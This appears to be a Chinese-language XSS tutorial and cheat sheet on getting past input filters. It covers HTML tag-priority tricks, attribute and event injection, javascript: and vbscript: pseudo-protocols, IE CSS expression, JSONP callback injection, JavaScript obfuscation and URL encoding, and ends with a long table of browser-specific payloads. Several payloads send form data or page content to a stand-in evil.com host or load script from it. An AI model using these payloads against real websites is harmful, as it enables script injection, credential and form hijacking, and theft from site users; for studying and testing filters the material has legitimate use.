在 HTML 语法中有标签优先级的概念,有些标签如<textarea>、<title>、<style>、<script>、<xmp> 等具有非常高的优先级,使得其结束标签可以直接中断其他的标签的属性:

<title><ahref="</title><img src=x onerror=alert(1)//">
<style><ahref="</style><img src=x onerror=alert(1)//">

如果过滤器将如上标签也过滤了,那么我们也可以尝试一下这些方式:

<? foo="><script>alert(1)</script>">
<! foo="><script>alert(1)</script>">
</ foo="><script>alert(1)</script>">
<% foo="%><script>alert(1)</script>">

前三种可在 Firefox 和 Webkit 浏览器中执行,第四种可以在 IE 中执行。如果过滤器是基于黑名单过滤的,那么有可能会忽略这些。

2.属性

HTML标签中的属性同样也是大小写不敏感的,并且属性值可以用双引号引起来,也可以用单引号,甚至不用引号在HTML语法上也是正确的。而且在 IE 下面还可以用反引号来包括属性值,形式分别如下:

<img src="#">
<img SRC='#'>
<img sRC=#>
<img src=`#`>

此外,标签和属性之间、属性名和等号之间、等号和属性值之间可以用空格、换行符(chr(13))、回车符(chr(10))、或者 tab (chr(9))等,并且个数不受限制。

这样的混淆方法是可以在各大浏览器上执行的。另外,我们还可以在属性值的头部和尾部(引号里面)插入系统控制字符,即 ASCII 值为 1~32 这32 个控制字符,不同的浏览器都有各自的处理方式,如下:

<a &#8 href="&#32javascript:alert(1)">test</a>

是可以在 IE、Firefox、Chrome 下执行的,但语句:

<a &#8 href="&#32javascript:alert(1)&#27">test</a>

就仅可以在 IE 和 Firefox 下执行。

HTML属性按用途分,大致可以分普通属性、事件属性、资源属性几种。

对于普通属性,如果我们可以控制的变量是属性值,那么我们能做的就只能是突破当前属性,尝试去构造新属性或者新标签。但如果属性值是被引号包括的,对方也过滤了引号,或者做了 HTMLEncode转义,那么既没有XSS 安全隐患,也没有可以利用的方式。

不过目前这里至少有两个特例:

<img src="x` ` <script>alert(1)</script>"` `>   (IE 6)
<img src= alt=" onerror=alert(1)//"> (IE、Firefox、Chrome、Opera等)

如果我们所能控制的是事件属性,除了突破属性之外,最直接的手段就是直接插入我们的代码。

例子:

<a href="#" onclick="do_some_func(\'<?=$_GET['a']?>\')">test</a>

针对这个例子构造参数,结果为:

<a href="#" onclick="do_some_func('x');alert(1);//')">test</a>
<a href="#" onclick="do_some_func('',alert(1),'')">test</a>

第一段代码将之前的函数闭合,然后构造自己的新代码。第二段代码利用了一个函数可以在另一个函数中执行的特性,也就是JavaScript中的匿名函数。

还有一个常识,HTML中通过属性定义的事件在执行时会做 HTMLDecode编码,这意味着我们的代码被转义为如下形式,依旧可以执行。

<a href="#" onclick="do_some_func('&#039;,alert(1),&#039;)">test</a>

对于资源类属性,我们可以理解为属性值需要为 URL 的属性,通常,属性名都为 src 或 href 。这类属性一般都支持浏览器的预定义协议,包括 http: ftp: file: https: javascript: vbscript: mailto: data: 等。

有一些是网络交互协议,有一些是本地协议,我们称本地协议为伪协议,由于其可以调用本地程序执行命令这一点,使得它成为我们在 XSS 中利用的对象。

常见的支持资源属性的 HTML 标签举例:

APPLET,EMBED,FRAME,IFRAME,IMG,
INPUT type=image,
XML,A,LINK,AREA,
TABLE\TR\TD\TH 的 BACKGROUND 属性,
BGSOUND,AUDIO,VIDEO,OBJECT,META refresh,SCRIPT,BASE,SOURCE

同 HTML 标签和属性的特点相似,伪协议的协议名也是不区分大小写的,并且跟事件相仿,数据也可以做自动的 HTMLDecode 解码以及进制解码,所以我们可以有多种利用方法:

<iframe src="jAVasCriPt:alert('xss')">
<iframe src="javascript:&#x61;&#x6c;&#x65;&#x72;&#x74;(&quot;&#88&#83&#83&quot;)">
<iframe src="javascript:alert(String.fromCharCode(88,83,83))">

另外有几个不常用的属性也支持伪协议:

<img dynsrc="javascript:alert('xss')"> (IE6)
<img lowsrc="javascript:alert('xss')"> (IE6)
<isindex action=javascript:alert(1) type=image>

有时在过滤器仅过滤了 src 和 href 中的伪协议时,我们可以用这种属性绕过。还有一些常用标签的不常见属性:

<input type="image" src="javascript:alert('xss');">

3.HTML事件

另一种特殊的 HTML 属性是事件属性,一般以 on 开头,它继承了普通 HTML 属性的所有特点:大小写不敏感,引号不敏感等。

如果我们想知道对方的过滤器过滤了哪些事件属性,最简单的方式是用 fuzzing机制,使用

<div on****="aaa">a</div>

这种形式将所有的事件都生成出来,然后试探目标站点都过滤了哪些。

也可以使用 onabcd 这样的假事件属性构造语句,如果过滤了,说明对方的过滤器可能使用了白名单,或者是把所有以 on 开头的属性全部过滤掉了。

CSS 中的代码注入技巧

以一段 CSS为例

@charset "UTF-8";
body{
    background:red;
    font-size:16px;
}
a{
    font-size:14px!important;
}

其中,body 和 a 为选择符;background、font-size为属性名,后面为属性值;@charset为规则;!important为声明。其中能被我们利用插入XSS脚本的地方只有 CSS 资源类属性值和 @import 规则,以及一个只能在 IE 浏览器下执行的属性值 expression。

另外,@charset这个规则虽然不能被利用插入XSS 代码,但是在某种情况下会对我们绕过过滤器给予很大的帮助。

与 HTML 类似,CSS 的语法同样对大小写不敏感,属性值对单双引号不敏感,对资源类属性来说,URL部分的单双引号以及没有引号也都不敏感,并且凡是可以使用空格的地方使用 tab 制表符、回车和换行也都可以被浏览器解析。

1.CSS 资源类属性

CSS 的一些资源类属性的 XSS 利用也是通过 伪协议来完成的,这种方式目前只能在 IE 下被执行,并且 IE 9 已经可以防御住,这类属性基本上都是设置背景图片的属性,如 background、background-image、list-style-image 等。关键字主要有 2 个,javascript、vbscript,其用法大致如下:

body{background-image:url('javascript:alert(1)');}
BODY{BACKGROUND-image:url(JavaSCRiPt:alert(1));}
BODY{BACKGROUND-image:url(vbscript:msgbox(2));}
li {list-style-image: url("javascript:alert('XSS')");}

CSS还有一类资源类属性可以嵌入 XML、CSS或者 JavaScript如 IE 独有的 behavior 以及规则@import。

behavior 引入的是一段含 JavaScript 的代码片段。需要注意的是,引用的文件不能够跨域,且路径是相对于 CSS 文件的路径或者是绝对路径,格式如下:

<PUBLIC:COMPONENT lightWeight='true'>
<PUBLIC:ATTACH EVENT="ondocumentready" FOR="element" ONEVENT="main()" />
<script type="text/javascript">
function main(){
    alert("XSS");
}
</script>
</PUBLIC:COMPONENT>

而规则@import 引入的是一段 CSS 代码,利用方式与正常的 CSS 利用相同。

由于在 CSS 属性名的任何地方都可以插入反斜线 “\” 以及反斜线 +0 的各种组合,如:

@\imp\ort "url";
@Imp\0000orT "url";
@\i\0\M\00p\000o\0000\00000R\000000t "url"

2.expression

expression是 IE 所独有的 CSS 属性,其目的就是为了插入一段 JavaScript 代码,示例如下:

a{text:expression(target="_blank");}

当在 IE 下执行这段 CSS 后,它会给所有的链接都加上 target=“_blank” 属性。如果替换 alert(1) ,那么刷新页面后就会不断地弹出窗口。

expression中的代码相当于一段 JavaScript 匿名函数在当前页面的生命周期内是不断循环执行的。

如何打断?使用下面的代码:

expression(if(window.x!=1){alert(1);window.x=1;});

我们可以使用注释来进行混淆

body{xss:e/**/xpression((window.x==1)?'':eval('x=1;alert(2);'));}
body{/*a*/x/*a*/ss/*a*/:/*a*/e/**/xpression/*a*/((window.x==1)?'':eval('x=1;alert(2);'));}

而且在 IE 6 下甚至可以用全角字符来混淆 expression关键字,也可以执行,达到绕过过滤器的目的。

同样可以使用 UTF-7 编码达到绕过过滤器的目的。

JavaScript 中的代码注入技巧

当 XSS 点出现在 JavaScript 代码的变量中时,只要我们可以顺利闭合之前的变量,接下来就可以插入我们的代码了。

如果对方的站点使用了 addslashes,这样单引号、双引号和反斜线前面都会增加一条反斜线,这种情况可以采用宽字节的方式吃掉反斜线。

或者也可以使用下面的语句:

var a = "123</script><script>alert(1);</script>";

对 HTML 页面中的 JavaScript 代码来说,</script>闭合标签具有最高优先级,可以在任何位置中断 JavaScript 代码。

1.JSON

根据需求的不同,JSON大体上有两种格式:没有 callback 函数名的 裸Object 形式,和有 callback 函数名的参数调用 Object 的形式,格式如下:

[{"a":"b"}]
callback([{"a":"b"}])

后者的存在主要是为了跨域数据传输的需要。

一些应用为了维持数据接口的定制性,通常会让数据请求方在请求参数中提供 callback 函数名,而不是由数据提供方定制,如请求方发起请求:

get_json.php?id=123&call_back=some_function

数据提供方提供数据的 callback 格式为:

some_function([{'id':123,data:'some_data'}]);

在这个过程中,如果数据提供方没有对 callback 函数名做安全过滤,并且页面本身也没有对 HTTP 响应头中的 Content-Type 做限制,那么我们便跨域直接对 callback 参数进行利用:

get_json.php?id=123&call_back=<script>alert(1)</script>

那么数据提供方返回的数据就会成为如下形式:

<script>alert(1)</script>([{'id':123,data:'some_data'}]);

由于页面是可访问的,浏览器默认就会当成 HTML 来解析,使得我们的 XSS 得以执行。

而且由于callback函数处于文件开头,我们可以使用 “+/v8” 等字符让 IE 浏览器认为这是一个 UTF-7 编码的文件,之后再将我们的 XSS 代码进行 UTF-7 编码放进来即可。(这种方式已经成为历史)payload如下:

get_json.php?id=123&callback=%2B%2Fv8%20%2BADw-script%2BAD4-alert(1)%2BADw-%2Fscript%2BAD4

如果数据提供方给 JSON 数据页面 HTTP 响应头设置 Content-Type,可以存在被绕过的情况。

  • “text/javascript” 在IE下有效,在 Firefox下我们的代码依旧能够执行。
  • “text/plain” 在Firefox下有效,在IE下会执行。
  • “application/x-zip-compressed” 对于XSS攻击在IE下会失效。

一般认为设置成“application/json” 相对来说还是比较有效的,不过还是存在突破的可能性。

因为 IE 浏览器确定文件类型时不完全依赖 Content-Type ,有时,如果我们直接增加一个 URL 参数为 a.html ,IE会认为这是一个 HTML 文件而忽略 Content-Type,使用 HTML 来解析文件。

将其放到如下位置,就有可能绕过 Content-Type:

foo.cgi?id=123&a.html
foo/?id=123&a.html
foo.php/a.html?id=123(apache 服务器会忽略掉 /a.html 去请求 foo.php)

2.JavaScript中的代码混淆

有时虽然可以插入一个 alert(1) 这样的代码,但是想插入更多时,发现代码被做了 HTMLEncode 过滤,这时我们可以采用之前提到的方法,进行进制转换后使用 eval 来执行:

eval(String.fromCharCode(97,108,101,114,116,40,49,41,59));

如果对输入的内容有字数限制,我们甚至可以输入 eval(name) 来做执行入口,然后在另一个可控制的页面(如攻击者的网站)放置如下一段代码:

<script>
window.name = "alert('xss')";
location.href = "http://target.com/xss.php";
</script>

另一种,过滤器情况可能与之相反,没有限制字数,却过滤了大部分函数,如 eval、alert、http链接之类,那么我们都可以采取一些手段来绕过过滤器,如用 (0)['constructor']['constructor']来代替 eval,用 'h'+'t'+'t'+'p'来绕过简单的链接过滤等。

还可以使用类似JSFUCK等方式。

除此之外,我们也可以使用 Flash 来绕过过滤器和隐藏我们的脚本内容:

<embed allowscriptaccess="always" src="http://www.evil.com/x.swf" />

突破URL过滤

有的时候,我们注入 URL 时,可以参考如下一些技巧来绕过过滤:

正常 <A HREF="http://66.102.7.147/">XSS</A>
URL编码 <A HREF="http://%36%36%2e%31%30%32%2e%37%2e%31%34%37/">XSS</A>
十进制 <A HREF="http://1113982867/">XSS</A>
十六进制 <A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>
八进制 <A HREF="http://0102.0146.000700000223/">XSS</A>
混合编码 <A HREF="http://6&#9;6.000146.0x7.147/">XSS</A>
不带http协议 <A HREF="//www.google.com/">XSS</A>
最后加个点 <A HREF="http://www.google.com./">XSS</A>

更多经典的混淆Check List

简要说明	XSS利用点
非IE实体编码	<a href="javascript&colon;alert&lpar;1&rpar;">click</a>
非IE实体编码(变异)	<a href="javascript&#X0000000000000000003A(alert(1))">click</a>
Opera data协议base64	<a href="data:image/svg+xml;base64,<<<<PHNj cmlwdCB4bWxucz0iaH你R0cDovL3d3d y53My5vcmc妹vMjAwMC9zdmciPmFsZXJ0KDEpPC9zY3Jpc HQ+><>">click</a>
Firefox data协议(空格分隔)	<a href="data:D;base 64,PHNj cmlwdD5hbGV ydC hkb2N1bWVudC5 kb21haW4pP C9zY3JpcHQ+ ">click</a>
Firefox feed协议	<a href="feed&colon;feed&#58javascript:alert(1)">click</a>
IE 6/IE 7	<base href=vbscript&#0000058ABC/><img/src=alert(1)>
标签优先级特性	<xmp><img alt="</xmp><img src=xx:xx onerror=alert(1)//">
非IE注释	<noembed><!--</noembed><svg/onload=alert(1)+l-->
IE条件注释bug	<!--[if<img src=xx:xx onerror=alert(1)//]-->
Chrome	<meta http-equiv="refresh" content="-.00e00,javascript&colon;alert(1)">
Firefox	<meta http-equiv="refresh" content=",data:D,<script>alert(1)</script>">
IE 6/IE 7 URL注入	<meta http-equiv="refresh" content="..... url=http://www.evil.com/?&#59url=javascript:alert(1)">
WebKit code属性	<embed code=\\\//evil.com/xss.swf allowScriptAccess=always>
Firefox jar-uri	<iframe src=jar://evil.com/xss.jar!1.html >
formaction	<isindex formaction=javascript:alert(1) type=image src=[图片地址] >
新属性	<iframe srcdoc="<script>alert(1)</script>"></iframe>
SVG特性	<svg><script/xlink:href=data:;;;base64,YWxlcnQoMSk=></script>
SVG特性	<svg><script>//&#8232&#97&#108&#101&#114&#116&#40&#49&#41</script>
Opera SVG	<svg><image/filter='url("data:image/svg-xml,%3cscript%20xmlns=%22http://www.w3.org/2000/svg%22>alert(1)%3c/script>")'>
Firefox新标签新属性	<math xlink:href="javascript:alert(2)"><maction actiontype="statusline#http://evil.com">click </maction></math>
IE解析bug	<input value="<script>alert(1)</script>" ` />
非IE解析bug	<input value/="><script>alert(1)</script>" />
IE解析bug	<img src=http://evil.com/?xss=`123 alt="`><body/onload=alert(1)//" >
IE	<img src=``onerror=alert(1) >
浏览器bug	<img src= alt=" onerror=alert(1)//" >
IE解析bug	<img src=`<body/onload=alert(1) />
IE data协议(CSS里)	<style>@\[0x0b]\ \ I\mpor\t[0x0b]da[0x0a]ta:,%2A%7b%78%3A%65%78%70%72%65%73%73% 69%6F%6E%28%77%72%69%74%65%28%31%29%29%7D;
IE诡异闭合	<!DOCTYPE html><style>*{background:\\\url(http://evil.com /?;x_:expression(write(1))
IE诡异闭合	<div style="font-family:}0=expression(write(1))">
链接劫持	<base href="//evil.com?"
表单劫持	<input value="123 >>[inj]"formaction=//evil.com <<[inj] ">
表单劫持	<button form="test" formaction="//evil.com">
内容窃取(需要点击)	<form/action=//evil.com><button><textarea/name=/>
IE内容窃取	<img src=`//evil.com?
IE<9 vbscript	<body/onload=\\\vbs\\\::::::::alert+'s'+[000000]+'g'+[000000]+'l'::::::::>
SVG解析异常	<svg><script>a='<svg/onload=alert(1)></svg>';alert(2)</script>
Chrome异常	<body/onload=throw['=alert\x281\x29//',onerror=setTimeout]>
Chrome诡异闭合	<body/onload="$})}}}});alert(1)({0:{0:{0:function(){0({">
Firefox E4X	<script>location=<>javas{[function::[<>status</>]]}cript:alert%281%29</></script>
IE location	script>-{valueOf:location,toString:[].pop,0:'vbscript:alert%281%29',length:1}</script>
Opera按空格执行	<link href="javascript:alert(1)" rel="next">
Firefox	<applet code=javascript:alert(1)>
Firefox	<embed src=javascript:alert(1)>
WebKit	<svg><oooooo/oooooooooo/onload=alert(1)>

除了这些,我们可以参考http://html5sec.org/上整理的 CheckList